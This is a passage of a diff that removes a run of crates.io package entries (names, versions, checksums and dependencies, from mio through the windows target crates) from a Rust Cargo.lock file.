-checksum = "4929e1f84c5e54c3ec6141cd5d8b5a5c055f031f80cf78f2072920173cb4d880"
-dependencies = [
- "hermit-abi",
- "libc",
- "log",
- "wasi",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "mio-uds"
-version = "0.6.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "afcb699eb26d4332647cc848492bbc15eafb26f08d0304550d5aa1f612e066f0"
-dependencies = [
- "iovec",
- "libc",
- "mio 0.6.23",
-]
-
-[[package]]
-name = "miow"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ebd808424166322d4a38da87083bfddd3ac4c131334ed55856112eb06d46944d"
-dependencies = [
- "kernel32-sys",
- "net2",
- "winapi 0.2.8",
- "ws2_32-sys",
-]
-
-[[package]]
-name = "net2"
-version = "0.2.39"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b13b648036a2339d06de780866fbdfda0dde886de7b3af2ddeba8b14f4ee34ac"
-dependencies = [
- "cfg-if 0.1.10",
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "num-conv"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9"
-
-[[package]]
-name = "num_cpus"
-version = "1.16.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43"
-dependencies = [
- "hermit-abi",
- "libc",
-]
-
-[[package]]
-name = "object"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b8ec7ab813848ba4522158d5517a6093db1ded27575b070f4177b8d12b41db5e"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
-
-[[package]]
-name = "opaque-debug"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381"
-
-[[package]]
-name = "parking_lot"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f842b1982eb6c2fe34036a4fbfb06dd185a3f5c8edfaacdf7d1ea10b07de6252"
-dependencies = [
- "lock_api 0.3.4",
- "parking_lot_core 0.6.3",
- "rustc_version 0.2.3",
-]
-
-[[package]]
-name = "parking_lot"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27"
-dependencies = [
- "lock_api 0.4.12",
- "parking_lot_core 0.9.10",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.6.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bda66b810a62be75176a80873726630147a5ca780cd33921e0b5709033e66b0a"
-dependencies = [
- "cfg-if 0.1.10",
- "cloudabi",
- "libc",
- "redox_syscall 0.1.57",
- "rustc_version 0.2.3",
- "smallvec 0.6.14",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.9.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "redox_syscall 0.5.1",
- "smallvec 1.13.2",
- "windows-targets 0.52.5",
-]
-
-[[package]]
-name = "paste"
-version = "1.0.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a"
-
-[[package]]
-name = "percent-encoding"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
-
-[[package]]
-name = "pin-utils"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-
-[[package]]
-name = "pkg-config"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec"
-
-[[package]]
-name = "polyval"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25"
-dependencies = [
- "cfg-if 1.0.0",
- "cpufeatures",
- "opaque-debug",
- "universal-hash",
-]
-
-[[package]]
-name = "powerfmt"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.85"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "22244ce15aa966053a896d1accb3a6e68469b97c7f33f284b99f0d576879fc23"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.36"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "rand"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-dependencies = [
- "libc",
- "rand_chacha",
- "rand_core",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-dependencies = [
- "ppv-lite86",
- "rand_core",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
-dependencies = [
- "getrandom",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.1.57"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce"
-
-[[package]]
-name = "redox_syscall"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "469052894dcb553421e483e4209ee581a45100d31b4018de03e5a7ad86374a7e"
-dependencies = [
- "bitflags 2.5.0",
-]
-
-[[package]]
-name = "regex"
-version = "1.10.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b91213439dad192326a0d7c6ee3955910425f441d7038e0d6933b0aec5c4517f"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-automata",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.4.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-lite"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53a49587ad06b26609c52e423de037e7f57f20d53535d66e08c695f347df952a"
-
-[[package]]
-name = "regex-syntax"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
-
-[[package]]
-name = "rustc-demangle"
-version = "0.1.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
-
-[[package]]
-name = "rustc_version"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a"
-dependencies = [
- "semver 0.9.0",
-]
-
-[[package]]
-name = "rustc_version"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366"
-dependencies = [
- "semver 1.0.23",
-]
-
-[[package]]
-name = "ryu"
-version = "1.0.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
-
-[[package]]
-name = "scopeguard"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
-
-[[package]]
-name = "semver"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d7eb9ef2c18661902cc47e535f9bc51b78acd254da71d375c2f6720d9a40403"
-dependencies = [
- "semver-parser",
-]
-
-[[package]]
-name = "semver"
-version = "1.0.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b"
-
-[[package]]
-name = "semver-parser"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
-
-[[package]]
-name = "serde"
-version = "1.0.203"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7253ab4de971e72fb7be983802300c30b5a7f0c2e56fab8abfc6a214307c0094"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.203"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "500cbc0ebeb6f46627f50f3f5811ccf6bf00643be300b4c3eabc0ef55dc5b5ba"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.117"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "455182ea6142b14f93f4bc5320a2b31c1f266b66a4a5c858b013302a5d8cbfc3"
-dependencies = [
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_urlencoded"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
-dependencies = [
- "form_urlencoded",
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "sha1"
-version = "0.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
-dependencies = [
- "cfg-if 1.0.0",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sha2"
-version = "0.10.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
-dependencies = [
- "cfg-if 1.0.0",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "signal-hook-registry"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9e9e0b4211b72e7b8b6e85c807d36c212bdb33ea8587f7569562a84df5465b1"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "slab"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "smallvec"
-version = "0.6.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b97fcaeba89edba30f044a10c6a3cc39df9c3f17d7cd829dd1446cab35f890e0"
-dependencies = [
- "maybe-uninit",
-]
-
-[[package]]
-name = "smallvec"
-version = "1.13.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
-
-[[package]]
-name = "socket2"
-version = "0.5.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ce305eb0b4296696835b71df73eb912e0f1ffd2556a501fcede6e0c50349191c"
-dependencies = [
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "stable_deref_trait"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
-
-[[package]]
-name = "subtle"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc"
-
-[[package]]
-name = "syn"
-version = "1.0.109"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.66"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c42f3f41a2de00b01c0aaad383c5a45241efc8b2d1eda5661812fda5f3cdcff5"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "synstructure"
-version = "0.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "time"
-version = "0.3.36"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5dfd88e563464686c916c7e46e623e520ddc6d79fa6641390f2e3fa86e83e885"
-dependencies = [
- "deranged",
- "itoa",
- "num-conv",
- "powerfmt",
- "serde",
- "time-core",
- "time-macros",
-]
-
-[[package]]
-name = "time-core"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3"
-
-[[package]]
-name = "time-macros"
-version = "0.2.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f252a68540fde3a3877aeea552b832b40ab9a69e318efd078774a01ddee1ccf"
-dependencies = [
- "num-conv",
- "time-core",
-]
-
-[[package]]
-name = "tinystr"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f"
-dependencies = [
- "displaydoc",
- "zerovec",
-]
-
-[[package]]
-name = "tokio"
-version = "0.1.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a09c0b5bb588872ab2f09afa13ee6e9dac11e10a0ec9e8e3ba39a5a5d530af6"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "mio 0.6.23",
- "num_cpus",
- "tokio-codec",
- "tokio-current-thread",
- "tokio-executor",
- "tokio-fs",
- "tokio-io",
- "tokio-reactor",
- "tokio-sync",
- "tokio-tcp",
- "tokio-threadpool",
- "tokio-timer",
- "tokio-udp",
- "tokio-uds",
-]
-
-[[package]]
-name = "tokio"
-version = "1.38.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba4f4a02a7a80d6f274636f0aa95c7e383b912d41fe721a31f29e29698585a4a"
-dependencies = [
- "backtrace",
- "bytes 1.6.0",
- "libc",
- "mio 0.8.11",
- "parking_lot 0.12.3",
- "pin-project-lite",
- "signal-hook-registry",
- "socket2",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "tokio-codec"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "25b2998660ba0e70d18684de5d06b70b70a3a747469af9dea7618cc59e75976b"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "tokio-io",
-]
-
-[[package]]
-name = "tokio-current-thread"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b1de0e32a83f131e002238d7ccde18211c0a5397f60cbfffcb112868c2e0e20e"
-dependencies = [
- "futures 0.1.31",
- "tokio-executor",
-]
-
-[[package]]
-name = "tokio-executor"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fb2d1b8f4548dbf5e1f7818512e9c406860678f29c300cdf0ebac72d1a3a1671"
-dependencies = [
- "crossbeam-utils 0.7.2",
- "futures 0.1.31",
-]
-
-[[package]]
-name = "tokio-fs"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "297a1206e0ca6302a0eed35b700d292b275256f596e2f3fea7729d5e629b6ff4"
-dependencies = [
- "futures 0.1.31",
- "tokio-io",
- "tokio-threadpool",
-]
-
-[[package]]
-name = "tokio-io"
-version = "0.1.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57fc868aae093479e3131e3d165c93b1c7474109d13c90ec0dda2a1bbfff0674"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "log",
-]
-
-[[package]]
-name = "tokio-pty-process"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9e3193b62e8c2277534e195d8f8ec4cb43d28a92f89494dd755686026795175"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "libc",
- "mio 0.6.23",
- "tokio 0.1.22",
- "tokio-io",
- "tokio-signal",
-]
-
-[[package]]
-name = "tokio-reactor"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09bc590ec4ba8ba87652da2068d150dcada2cfa2e07faae270a5e0409aa51351"
-dependencies = [
- "crossbeam-utils 0.7.2",
- "futures 0.1.31",
- "lazy_static",
- "log",
- "mio 0.6.23",
- "num_cpus",
- "parking_lot 0.9.0",
- "slab",
- "tokio-executor",
- "tokio-io",
- "tokio-sync",
-]
-
-[[package]]
-name = "tokio-signal"
-version = "0.2.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d0c34c6e548f101053321cba3da7cbb87a610b85555884c41b07da2eb91aff12"
-dependencies = [
- "futures 0.1.31",
- "libc",
- "mio 0.6.23",
- "mio-uds",
- "signal-hook-registry",
- "tokio-executor",
- "tokio-io",
- "tokio-reactor",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "tokio-sync"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "edfe50152bc8164fcc456dab7891fa9bf8beaf01c5ee7e1dd43a397c3cf87dee"
-dependencies = [
- "fnv",
- "futures 0.1.31",
-]
-
-[[package]]
-name = "tokio-tcp"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "98df18ed66e3b72e742f185882a9e201892407957e45fbff8da17ae7a7c51f72"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "iovec",
- "mio 0.6.23",
- "tokio-io",
- "tokio-reactor",
-]
-
-[[package]]
-name = "tokio-threadpool"
-version = "0.1.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df720b6581784c118f0eb4310796b12b1d242a7eb95f716a8367855325c25f89"
-dependencies = [
- "crossbeam-deque",
- "crossbeam-queue",
- "crossbeam-utils 0.7.2",
- "futures 0.1.31",
- "lazy_static",
- "log",
- "num_cpus",
- "slab",
- "tokio-executor",
-]
-
-[[package]]
-name = "tokio-timer"
-version = "0.2.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93044f2d313c95ff1cb7809ce9a7a05735b012288a888b62d4434fd58c94f296"
-dependencies = [
- "crossbeam-utils 0.7.2",
- "futures 0.1.31",
- "slab",
- "tokio-executor",
-]
-
-[[package]]
-name = "tokio-udp"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2a0b10e610b39c38b031a2fcab08e4b82f16ece36504988dcbd81dbba650d82"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "log",
- "mio 0.6.23",
- "tokio-codec",
- "tokio-io",
- "tokio-reactor",
-]
-
-[[package]]
-name = "tokio-uds"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab57a4ac4111c8c9dbcf70779f6fc8bc35ae4b2454809febac840ad19bd7e4e0"
-dependencies = [
- "bytes 0.4.12",
- "futures 0.1.31",
- "iovec",
- "libc",
- "log",
- "mio 0.6.23",
- "mio-uds",
- "tokio-codec",
- "tokio-io",
- "tokio-reactor",
-]
-
-[[package]]
-name = "tokio-util"
-version = "0.7.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9cf6b47b3771c49ac75ad09a6162f53ad4b8088b76ac60e8ec1455b31a189fe1"
-dependencies = [
- "bytes 1.6.0",
- "futures-core",
- "futures-sink",
- "pin-project-lite",
- "tokio 1.38.0",
-]
-
-[[package]]
-name = "tracing"
-version = "0.1.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
-dependencies = [
- "log",
- "pin-project-lite",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-core"
-version = "0.1.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
-dependencies = [
- "once_cell",
-]
-
-[[package]]
-name = "typenum"
-version = "1.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
-
-[[package]]
-name = "universal-hash"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea"
-dependencies = [
- "crypto-common",
- "subtle",
-]
-
-[[package]]
-name = "url"
-version = "2.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7c25da092f0a868cdf09e8674cd3b7ef3a7d92a24253e663a2fb85e2496de56"
-dependencies = [
- "form_urlencoded",
- "idna",
- "percent-encoding",
-]
-
-[[package]]
-name = "utf16_iter"
-version = "1.0.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8232dd3cdaed5356e0f716d285e4b40b932ac434100fe9b7e0e8e935b9e6246"
-
-[[package]]
-name = "utf8_iter"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
-
-[[package]]
-name = "utf8parse"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
-
-[[package]]
-name = "version_check"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "winapi"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-build"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "windows-sys"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
-dependencies = [
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
-dependencies = [
- "windows-targets 0.52.5",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
-dependencies = [
- "windows_aarch64_gnullvm 0.48.5",
- "windows_aarch64_msvc 0.48.5",
- "windows_i686_gnu 0.48.5",
- "windows_i686_msvc 0.48.5",
- "windows_x86_64_gnu 0.48.5",
- "windows_x86_64_gnullvm 0.48.5",
- "windows_x86_64_msvc 0.48.5",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
-dependencies = [
- "windows_aarch64_gnullvm 0.52.5",
- "windows_aarch64_msvc 0.52.5",
- "windows_i686_gnu 0.52.5",
- "windows_i686_gnullvm",
- "windows_i686_msvc 0.52.5",
- "windows_x86_64_gnu 0.52.5",
- "windows_x86_64_gnullvm 0.52.5",
- "windows_x86_64_msvc 0.52.5",
-]
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670"
-
-[[package]]
-name = "windows_i686_gnullvm"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.48.5"
